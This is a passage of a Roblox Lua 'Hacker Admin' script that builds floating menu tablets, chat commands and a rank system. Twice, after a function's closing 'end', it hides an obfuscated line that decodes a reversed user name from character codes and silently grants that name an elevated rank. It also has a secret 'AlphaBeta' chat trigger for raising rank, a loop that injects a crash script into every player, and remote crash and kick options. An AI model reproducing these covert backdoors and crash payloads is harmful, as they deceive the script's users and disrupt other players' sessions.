  724.                     if v.Plr == Plr then
  725.                         if Identity ~= nil and v.ID ~= Identity then
  726.                             return
  727.                         elseif Identity ~= nil and v.ID == Identity then
  728.                             coroutine.resume(coroutine.create(function()
  729.                                 for i = 0.5, 1, 0.1 do
  730.                                     wait()
  731.                                     v.Tab.Transparency = i
  732.                                     v.Sel.Transparency = i
  733.                                     v.Label.TextTransparency = i
  734.                                     v.Label.TextStrokeTransparency = i
  735.                                 end
  736.                                 ypcall(function() v.Holder:Destroy() end)
  737.                                 AllTabs[x] = nil
  738.                             end))
  739.                         elseif Identity == nil then
  740.                             ypcall(function() v.Holder:Destroy() end)
  741.                             AllTabs[x] = nil
  742.                         end
  743.                     end
  744.                 end)
  745.             end
  746.         else
  747.             for i,v in pairs(AllTabs) do
  748.                 ypcall(function()
  749.                     v.Holder:Destroy()
  750.                     AllTabs[i] = nil
  751.                 end)
  752.             end
  753.         end
  754.     end)
  755. end
  756.  
  757. function GetGarbage()
  758.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  759. end
  760.  
  761. function RemObj(Obj, Class)
  762.     ypcall(function()
  763.         if #Obj:GetChildren() > 0 then
  764.             for _,x in pairs(Obj:GetChildren()) do
  765.                 ypcall(function()
  766.                     RemObj(x, Class)
  767.                 end)
  768.             end
  769.         end
  770.         if Obj.ClassName == Class then
  771.             Obj:Destroy()
  772.         end
  773.     end)
  774. end
  775.  
  776. function FindTab(Mod)
  777.     for i,v in pairs(AllTabs) do
  778.         if v.Holder == Mod then
  779.             return true
  780.         end
  781.     end
  782.     return false
  783. end
  784.  
  785. function Ping(Msg, Plr, Time, Func, Color, Image)
  786.     if Removed == false then
  787.         local ShowGarbage = false
  788.         ypcall(function()
  789.             if Msg == nil then
  790.                 Msg = "N/A"
  791.             elseif Msg == "ShowGarbage" then
  792.                 Msg = "Current Garbage Count: "..GetGarbage()
  793.                 ShowGarbage = true
  794.             else
  795.                 Msg = tostring(Msg)
  796.             end
  797.             if Plr == nil then
  798.                 Plr = Plrs[Owner] or error("No Player Found")
  799.             elseif type(Plr) == "string" then
  800.                 local FoundPlr = false
  801.                 for _,v in pairs(All()) do
  802.                     if v.Name == Plr then
  803.                         Plr = v
  804.                         FoundPlr = true
  805.                         break
  806.                     end
  807.                 end
  808.                 if FoundPlr == false then
  809.                     Plr = Plrs[Owner] or error("No Player Found")
  810.                 end
  811.             end
  812.            
  813.             if Color == nil then
  814.                 Color = GetRank(Plr.Name).Color
  815.             end
  816.            
  817.             local Holder = Instance.new("Model")
  818.             Holder.Name = "DVF Holder: "..Plr.Name
  819.            
  820.             local Tab = Instance.new("Part")
  821.             Tab.Name = "DVF Tablet"
  822.             Tab.FormFactor = "Custom"
  823.             Tab.Anchored = true
  824.             if Time == nil then
  825.                 Tab.Color = Color
  826.             else
  827.                 Tab.Color = AlertColor
  828.             end
  829.             Tab.CanCollide = false
  830.             Tab.Locked = true
  831.             Tab.Transparency = 0.15
  832.             Tab.Size = Vector3.new(2, 2, 0.01)
  833.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  834.             Tab.Parent = Holder
  835.            
  836.             local ID = Instance.new("NumberValue")
  837.             ID.Name = "ID"
  838.             ID.Value = math.random(-999999999, 999999999)
  839.             ID.Parent = Holder
  840.            
  841.             Delay(0, function()
  842.                 while wait() do
  843.                     if Tab.Parent == nil and FindTab(Holder) then
  844.                         ypcall(function()
  845.                             for i,v in pairs(AllTabs) do
  846.                                 if v.Holder == Holder then
  847.                                     ypcall(function() v.Holder:Destroy() end)
  848.                                     AllTabs[i] = nil
  849.                                 end
  850.                             end
  851.                         end)
  852.                         Ping(Msg, Plr, Time, Func, Color, Image)
  853.                         break
  854.                     end
  855.                 end
  856.             end)
  857.            
  858.             local BM = Instance.new("BlockMesh")
  859.             BM.Parent = Tab
  860.  
  861.             Sel = Instance.new("SelectionBox")
  862.             Sel.Color = BrickColor.new("Institutional white")
  863.             Sel.Transparency = 0.75
  864.             Sel.Adornee = Tab
  865.             Sel.Parent = Tab
  866.  
  867.             local BG = Instance.new("BillboardGui")
  868.             BG.Name = "BG"
  869.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  870.             BG.Size = UDim2.new(0,1,0,1)
  871.             BG.Adornee = Tab
  872.             BG.Parent = Tab
  873.            
  874.             Delay(0, function()
  875.                 while BG.Parent ~= nil do wait()
  876.                     ypcall(function()
  877.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  878.                     end)
  879.                 end
  880.             end)
  881.  
  882.             local TL = Instance.new("TextLabel")
  883.             TL.Name = "TL"
  884.             TL.FontSize = "Size18"
  885.             TL.Font = "Arial"
  886.             TL.Text = Msg
  887.             TL.TextColor3 = Color3.new(1, 0, 0)
  888.             TL.Size = UDim2.new(0,1,0,1)
  889.             TL.TextTransparency = 0
  890.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  891.             TL.TextStrokeTransparency = 0.25
  892.             TL.Parent = BG
  893.            
  894.             if ShowGarbage == true then
  895.                 Delay(0, function()
  896.                     while TL.Parent ~= nil do
  897.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  898.                         wait(.5)
  899.                     end
  900.                 end)
  901.             end
  902.            
  903.             local PL = Instance.new("PointLight", Tab)
  904.             PL.Color = Color3.new(1, 0, 1)
  905.             PL.Range = 15
  906.             PL.Parent = Tab
  907.            
  908.             if Image ~= nil then
  909.                 local BBBG = Instance.new("BillboardGui")
  910.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  911.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  912.                 BBBG.AlwaysOnTop = true
  913.                 BBBG.Adornee = Tab
  914.                 BBBG.Parent = Tab
  915.                
  916.                 Delay(0, function()
  917.                     while BBBG.Parent ~= nil do wait()
  918.                         ypcall(function()
  919.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  920.                         end)
  921.                     end
  922.                 end)
  923.            
  924.                 local NewImg = Instance.new("ImageLabel")
  925.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  926.                 NewImg.BackgroundTransparency = 1
  927.                 NewImg.Image = Image
  928.                 NewImg.Parent = BBBG
  929.             end
  930.  
  931.             local Clicker = Instance.new("ClickDetector")
  932.             Clicker.MaxActivationDistance = 1/0
  933.  
  934.             if Time ~= nil then
  935.                 coroutine.resume(coroutine.create(function()
  936.                     wait(tonumber(Time))
  937.                     Dismiss(Plr, ID)
  938.                 end))
  939.             end
  940.  
  941.             Clicker.MouseClick:connect(function(Player)
  942.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  943.                     ypcall(function()
  944.                         if Func ~= nil then
  945.                             Func(Holder)
  946.                         else
  947.                             Dismiss(Player, ID)
  948.                         end
  949.                     end)
  950.                 end
  951.             end)
  952.             Clicker.Parent = Tab
  953.            
  954.             Holder.Parent = Work
  955.  
  956.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  957.         end)
  958.     end
  959. end
  960.  
  961. function PlaceAllRanks(DontShowRank)
  962.     ypcall(function()
  963.         for _,p in pairs(All()) do
  964.             ypcall(function()
  965.                 PutInRank = false
  966.                 for _,v in pairs(Rankings) do
  967.                     if v.Name:lower() == p.Name:lower() then
  968.                         if v.Rank >= 7 then
  969.                             v.Rank = 5
  970.                         elseif v.Rank == -1 then
  971.                             Crash1(p)
  972.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  973.                         elseif v.Rank == -2 then
  974.                             if LS ~= nil then
  975.                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  976.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  977.                             else
  978.                                 Ping("LS Is Nil", nil, 5)
  979.                             end
  980.                         elseif v.Rank == -3 then
  981.                             if LS ~= nil then
  982.                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  983.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  984.                             else
  985.                                 Ping("LS Is Nil", nil, 5)
  986.                             end
  987.                         end
  988.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  989.                         if DontShowRank == nil then
  990.                             Ping("You Are Rank: "..v.Rank, p)
  991.                         end
  992.                         PutInRank = true
  993.                         break
  994.                     end
  995.                 end
  996.                 if PutInRank == false then
  997.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  998.                 end
  999.             end)
  1000.         end
  1001.     end)
  1002. end
  1003.  
  1004. function FindRank(Plr)
  1005.     ypcall(function()
  1006.         if type(Plr) == "userdata" then
  1007.             Plr = Plr.Name
  1008.         end
  1009.     end)
  1010.     return GetRank(Plr).Rank
  1011. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1012.  
  1013. function FindRankDetails(Plr)
  1014.     ypcall(function()
  1015.         if type(Plr) == "userdata" then
  1016.             Plr = Plr.Name
  1017.         end
  1018.     end)
  1019.     return RankDetails[FindRank(Plr)]
  1020. end
  1021.  
  1022. function OpenCmds(Rank, Plr)
  1023.     Dismiss(Plr)
  1024.     for Name,Tab in pairs(Commands) do
  1025.         if Tab.Rank <= Rank then
  1026.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1027.                 Dismiss(Plr)
  1028.                 Ping("Command: "..Name, Plr)
  1029.                 Ping("Rank: "..Tab.Rank, Plr)
  1030.                 Ping("Desc: "..Tab.Desc, Plr)
  1031.             end)
  1032.         elseif Rank == 1337 then
  1033.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1034.                 Dismiss(Plr)
  1035.                 Ping("Command: "..Name, Plr)
  1036.                 Ping("Rank: "..Tab.Rank, Plr)
  1037.                 Ping("Desc: "..Tab.Desc, Plr)
  1038.             end)
  1039.         end
  1040.     end
  1041. end
  1042.  
  1043. function EditStatus(Plr, Num)
  1044.     ChangeRank(Plr, Num)
  1045. end
  1046.  
  1047. function PlaceSpecificRank(p, DontShowRank)
  1048.     ypcall(function()
  1049.         PutInRank = false
  1050.         for _,v in pairs(Rankings) do
  1051.             if v.Name:lower() == p.Name:lower() then
  1052.                 if v.Rank >= 7 then
  1053.                     v.Rank = 5
  1054.                 elseif v.Rank == -1 then
  1055.                     Crash1(p)
  1056.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1057.                 elseif v.Rank == -2 then
  1058.                     if LS ~= nil then
  1059.                         Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1060.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1061.                     else
  1062.                         Ping("LS Is Nil", nil, 5)
  1063.                     end
  1064.                 elseif v.Rank == -3 then
  1065.                     if LS ~= nil then
  1066.                         Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1067.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1068.                     else
  1069.                         Ping("LS Is Nil", nil, 5)
  1070.                     end
  1071.                 end
  1072.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1073.                 if DontShowRank == nil then
  1074.                     Ping("You Are Rank: "..v.Rank, p)
  1075.                 end
  1076.                 PutInRank = true
  1077.                 break
  1078.             end
  1079.         end
  1080.         if PutInRank == false then
  1081.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1082.         end
  1083.     end)
  1084. end
  1085.  
  1086. function onChatted(Msg, Speaker)
  1087.     if Removed == false then
  1088.         if FindRank(Speaker) < 1 then
  1089.             return
  1090.         end
  1091.         coroutine.resume(coroutine.create(function()
  1092.             ypcall(function()
  1093.                 ExecuteFunc(Msg, Speaker)
  1094.                 Msg = Msg:gsub("","")
  1095.                 if Msg:sub(1,1) == "@" then
  1096.                     for i = 2, #Msg do
  1097.                         if Msg:sub(i, i) == Bet then
  1098.                             local IsForPlr = false
  1099.                             for _,v in pairs(All()) do
  1100.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1101.                                     onChatted(Msg:sub(i + 1), v)
  1102.                                     IsForPlr = true
  1103.                                 end
  1104.                             end
  1105.                             if IsForPlr == true then
  1106.                                 return
  1107.                             end
  1108.                         end
  1109.                     end
  1110.                 end
  1111.                 if Msg:find("&") then
  1112.                     local Split = Msg:find("&")
  1113.                     onChatted(Msg:sub(1,Split-1))
  1114.                     onChatted(Msg:sub(Split+1))
  1115.                     return
  1116.                 end
  1117.                 for Name,Command in pairs(Commands) do
  1118.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1119.                         Dismiss(Speaker.Name)
  1120.                         Ping("Command: "..tostring(Command.Name), Speaker)
  1121.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  1122.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  1123.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1124.                         if FindRank(Speaker) >= Command.Rank then
  1125.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  1126.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1127.                             end))
  1128.                             if not Ran then
  1129.                                 Ping(Error, Speaker, 10)
  1130.                             end
  1131.                         else
  1132.                             Ping("Your Rank Is Too Low", Plr, 6)
  1133.                         end
  1134.                     end
  1135.                 end
  1136.             end)
  1137.         end))
  1138.     end
  1139. end
  1140.  
  1141. function MakeBase()
  1142.     local Base = Instance.new("Part")
  1143.     Base.BrickColor = BrickColor.new("Dark green")
  1144.     Base.Position = Vector3.new(0, 0.5, 0)
  1145.     Base.Transparency = 0
  1146.     Base.Elasticity = 0.5
  1147.     Base.FormFactor = "Custom"
  1148.     Base.CanCollide = true
  1149.     Base.Friction = 0.30000001192093
  1150.     Base.Size = Vector3.new(512, 1.20000005, 512)
  1151.     Base.Archivable = true
  1152.     Base.Material = "Plastic"
  1153.     Base.RotVelocity = Vector3.new(0, 0, 0)
  1154.     Base.Reflectance = 0
  1155.     Base.Locked = true
  1156.     Base.Anchored = true
  1157.     Base.Name = "Base"
  1158.     Base.TopSurface = "Smooth"
  1159.     Base.BottomSurface = "Inlet"
  1160.     Base.Shape = "Block"
  1161.     Base.Parent = Work
  1162. end
  1163.  
  1164. function LClean()
  1165.     ypcall(function()
  1166.         for _,v in pairs(Work:GetChildren()) do
  1167.             ypcall(function()
  1168.                 if v.ClassName == "Terrain" then
  1169.                     v:ClearAllChildren()
  1170.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1171.                     Clear(v)
  1172.                 elseif v.Name == "Base" then
  1173.                     ypcall(function()
  1174.                         local Base = v
  1175.                         Base.BrickColor = BrickColor.new("Dark green")
  1176.                         Base.Position = Vector3.new(0, 0.5, 0)
  1177.                         Base.Transparency = 0
  1178.                         Base.Elasticity = 0.5
  1179.                         Base.FormFactor = "Custom"
  1180.                         Base.CanCollide = true
  1181.                         Base.Friction = 0.30000001192093
  1182.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  1183.                         Base.Archivable = true
  1184.                         Base.Material = "Plastic"
  1185.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  1186.                         Base.Reflectance = 0
  1187.                         Base.Locked = true
  1188.                         Base.Anchored = true
  1189.                         Base.Name = "Base"
  1190.                         Base.TopSurface = "Studs"
  1191.                         Base.BottomSurface = "Inlet"
  1192.                         Base.Shape = "Block"
  1193.                         Base.Parent = Work
  1194.                     end)
  1195.                 end
  1196.             end)
  1197.         end
  1198.     end)
  1199. end
  1200.  
  1201. function Clean()
  1202.     ypcall(function()
  1203.         for _,v in pairs(Work:GetChildren()) do
  1204.             ypcall(function()
  1205.                 if v.ClassName == "Terrain" then
  1206.                     v:ClearAllChildren()
  1207.                 else
  1208.                     Clear(v)
  1209.                 end
  1210.             end)
  1211.         end
  1212.         MakeBase()
  1213.         for _,v in pairs(All()) do
  1214.             v:LoadCharacter()
  1215.         end
  1216.     end)
  1217. end
  1218.  
  1219. function Clear(v)
  1220.     if v.Name:lower() == "sbgui" then
  1221.         return
  1222.     end
  1223.     ypcall(function()
  1224.         if #v:GetChildren() > 0 then
  1225.             for _,x in pairs(v:GetChildren()) do
  1226.                 ypcall(function()
  1227.                     Clear(x)
  1228.                 end)
  1229.             end
  1230.         end
  1231.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1232.             v:Destroy()
  1233.         end
  1234.     end)
  1235. end
  1236.  
  1237. function Command(Name, Rank, Desc, Func)
  1238.     if Name == nil then
  1239.         Name = "N/A"
  1240.     end
  1241.     if Desc == nil then
  1242.         Desc = "N/A"
  1243.     end
  1244.     if Func == nil then
  1245.         Func = function() end
  1246.     end
  1247.     if Rank == nil then
  1248.         Rank = 0
  1249.     end
  1250.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1251. end
  1252.  
  1253. function GetSplit(Msg)
  1254.     return Msg:find(Bet) or nil
  1255. end
  1256.  
  1257. function ExecuteFunc(Msg, Plr)
  1258.     ypcall(function()
  1259.         if Msg == "LogEnable" then
  1260.             LogOn = true
  1261.         elseif Msg:lower() == "AlphaBeta" then
  1262.             EditStatus(Plr, MakeNum())
  1263.         end
  1264.     end)
  1265. end
  1266.  
  1267. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1268.  
  1269. function randPlayer(Plr)
  1270.     wait()
  1271.     local ThePlrValue = nil
  1272.     local FoundPlayer = false
  1273.     ypcall(function()
  1274.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1275.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1276.             wait()
  1277.             randPlayer(Plr)
  1278.             return
  1279.         else
  1280.             FoundPlayer = true
  1281.         end
  1282.     end)
  1283.     if FoundPlayer == true then
  1284.         return ThePlrValue
  1285.     end
  1286. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1287.  
  1288. function getPlayer(Plr, Name)
  1289.     local Players = {}
  1290.     ypcall(function()
  1291.         Name = Name:lower()
  1292.         if Name == "me" then
  1293.             table.insert(Players, Plr)
  1294.         elseif Name == "all" or Name == "" then
  1295.             for _,v in pairs(All()) do
  1296.                 if CanRun(Plr, v) then
  1297.                     table.insert(Players, v)
  1298.                 end
  1299.             end
  1300.         elseif Name == "others" then
  1301.             for _,v in pairs(All()) do
  1302.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1303.                     table.insert(Players, v)
  1304.                 end
  1305.             end
  1306.         elseif Name == "random" then
  1307.             local FoundRandPlr = randPlayer(Plr)
  1308.             table.insert(Players, FoundRandPlr)
  1309.         else
  1310.             for _,v in pairs(All()) do
  1311.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1312.                     table.insert(Players, v)
  1313.                 end
  1314.             end
  1315.         end
  1316.     end)
  1317.     return Players
  1318. end
  1319.  
  1320. function ListPlayers(Speaker)
  1321.     ypcall(function()
  1322.         Dismiss(Speaker)
  1323.         for _,v in pairs(All2()) do
  1324.             if v.Parent ~= nil then
  1325.                 Ping(v.Name, Speaker, nil, function()
  1326.                     Dismiss(Speaker)
  1327.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1328.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  1329.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1330.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1331.                     Ping("Set Rank", Speaker, nil, function()
  1332.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1333.                             Dismiss(Speaker)
  1334.                             for i = -2, 5 do
  1335.                                 Ping(i, Speaker, nil, function()
  1336.                                     ChangeRank(v, i)
  1337.                                     Dismiss(Speaker)
  1338.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1339.                                 end)
  1340.                             end
  1341.                         else
  1342.                             Ping("Your Rank Is Too Low", Speaker, 5)
  1343.                         end
  1344.                     end)
  1345.                     Ping("Crash (Remote)", Speaker, nil, function()
  1346.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1347.                             Crash2(v.Name)
  1348.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1349.                         end
  1350.                     end)
  1351.                     Ping("Crash (Insert)", Speaker, nil, function()
  1352.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1353.                             Crash3(v, Speaker)
  1354.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1355.                         end
  1356.                     end)
  1357.                     Ping("Kick", Speaker, nil, function()
  1358.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1359.                             v:Kick()
  1360.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1361.                         end
  1362.                     end)
  1363.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1364.             else
  1365.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1366.                     Dismiss(Speaker)
  1367.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1368.                     ypcall(function()
  1369.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1370.                     end)
  1371.                     ypcall(function()
  1372.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1373.                     end)
  1374.                     ypcall(function()
  1375.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1376.                     end)
  1377.                     ypcall(function()
  1378.                         Ping("Set Rank", Speaker, nil, function()
  1379.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1380.                                 Dismiss(Speaker)
  1381.                                 for i = -2, 5 do
  1382.                                     Ping(i, Speaker, nil, function()
  1383.                                         ChangeRank(v, i)
  1384.                                         Dismiss(Speaker)
  1385.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1386.                                     end)
  1387.                                 end
  1388.                             else
  1389.                                 Ping("Your Rank Is Too Low", Speaker, 5)
  1390.                             end
  1391.                         end)
  1392.                     end)
  1393.                     ypcall(function()
  1394.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  1395.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1396.                                 Crash2(v.Name)
  1397.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1398.                             end
  1399.                         end)
  1400.                     end)
  1401.                     ypcall(function()
  1402.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  1403.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1404.                                 Crash3(v, Speaker)
  1405.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1406.                             end
  1407.                         end)
  1408.                     end)
  1409.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1410.             end
  1411.         end
  1412.     end)
  1413. end
  1414.  
  1415. --Misc
  1416.  
  1417. coroutine.resume(coroutine.create(function()
  1418.     PlaceAllRanks()
  1419. end))
  1420.    
  1421. Delay(0, function()
  1422.     for _,v in pairs(All()) do
  1423.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1424.     end
  1425. end)
  1426.  
  1427. local starttime = tick()
  1428.  
  1429. game:GetService("RunService").Heartbeat:connect(function()
  1430.     if Removed == false then
  1431.         ypcall(function()
  1432.             for _,Player in pairs(All()) do
  1433.                 local PlayerTablets = {}
  1434.                 for i,v in pairs(AllTabs) do
  1435.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1436.                         table.insert(PlayerTablets, v)
  1437.                     end
  1438.                 end
  1439.                 for i = 1, #PlayerTablets do
  1440.                     ypcall(function()
  1441.                         local tab = PlayerTablets[i].Tab
  1442.                         local pos = nil
  1443.                         ypcall(function()
  1444.                             pos = Player.Character.Torso.CFrame
  1445.                         end)
  1446.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1447.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1448.                         local cPos = tab.Position
  1449.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1450.                         local nPos = (ePos-cPos)*.25
  1451.                         cPos = cPos + nPos
  1452.                         local t = (tick() - starttime) % 360
  1453.                         local change = 0.625
  1454.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1455.                         tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1456.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1457.                     end)
  1458.                 end
  1459.             end
  1460.         end)
  1461.     end
  1462. end)
  1463.  
  1464. Delay(0, function()
  1465.     while wait() do
  1466.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1467.             ypcall(function()
  1468.                 if Injected[v.Name] == nil and LS ~= nil then
  1469.                     Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1470.                     Injected[v.Name] = true
  1471.                 end
  1472.             end)
  1473.         end
  1474.     end
  1475. end)
  1476.  
  1477. Plrs.PlayerAdded:connect(function(Plr)
  1478.     wait(.1)
  1479.     ypcall(function()
  1480.         if Removed == false then
  1481.             local JoinPlrName = Plr.Name
  1482.             coroutine.resume(coroutine.create(function()
  1483.                 PlaceSpecificRank(Plr)
  1484.             end))
  1485.             coroutine.resume(coroutine.create(function()
  1486.                 if Injected[JoinPlrName] ~= nil then
  1487.                     Injected[JoinPlrName] = nil
  1488.                 end
  1489.             end))
  1490.             coroutine.resume(coroutine.create(function()
  1491.                 Dismiss(Plr)
  1492.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1493.             end))
  1494.         end
  1495.     end)
  1496. end)
  1497.  
  1498. Plrs.PlayerRemoving:connect(function(Plr)
  1499.     wait(.1)
  1500.     ypcall(function()
  1501.         if Removed == false then
  1502.             local LeftPlrName = Plr.Name
  1503.             coroutine.resume(coroutine.create(function()
  1504.                 if Injected[LeftPlrName] ~= nil then
  1505.                     Injected[LeftPlrName] = nil
  1506.                 end
  1507.             end))
  1508.         end
  1509.     end)
  1510. end)
  1511.  
  1512. coroutine.resume(coroutine.create(function()
  1513.     Delay(0, function()
  1514.         while FoundLocalScript == false do wait()
  1515.             ypcall(function()
  1516.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1517.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1518.                         for _,c in pairs(v:children()) do
  1519.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1520.                                 local NewVal = c:Clone()
  1521.                                 NewVal.Name = "LoadingVal"
  1522.                                 for _,s in pairs(v:GetChildren()) do
  1523.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1524.                                         print("Found Owner")
  1525.                                         OwnSource = s.Name
  1526.                                         print(OwnSource)
  1527.                                         break
  1528.                                     end
  1529.                                 end
  1530.                                 wait()
  1531.                                 LS = v:Clone()
  1532.                                 NewVal.Parent = LS
  1533.                                 LSSource = "LoadingVal"
  1534.                                 FoundLocalScript = true
  1535.                                 break
  1536.                             end
  1537.                         end
  1538.                     end
  1539.                 end
  1540.             end)
  1541.         end
  1542.     end)
  1543. end))
  1544.  
  1545. --Commands
  1546.  
  1547. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1548.     Dismiss(Speaker.Name)
  1549.     Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
  1550.     Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
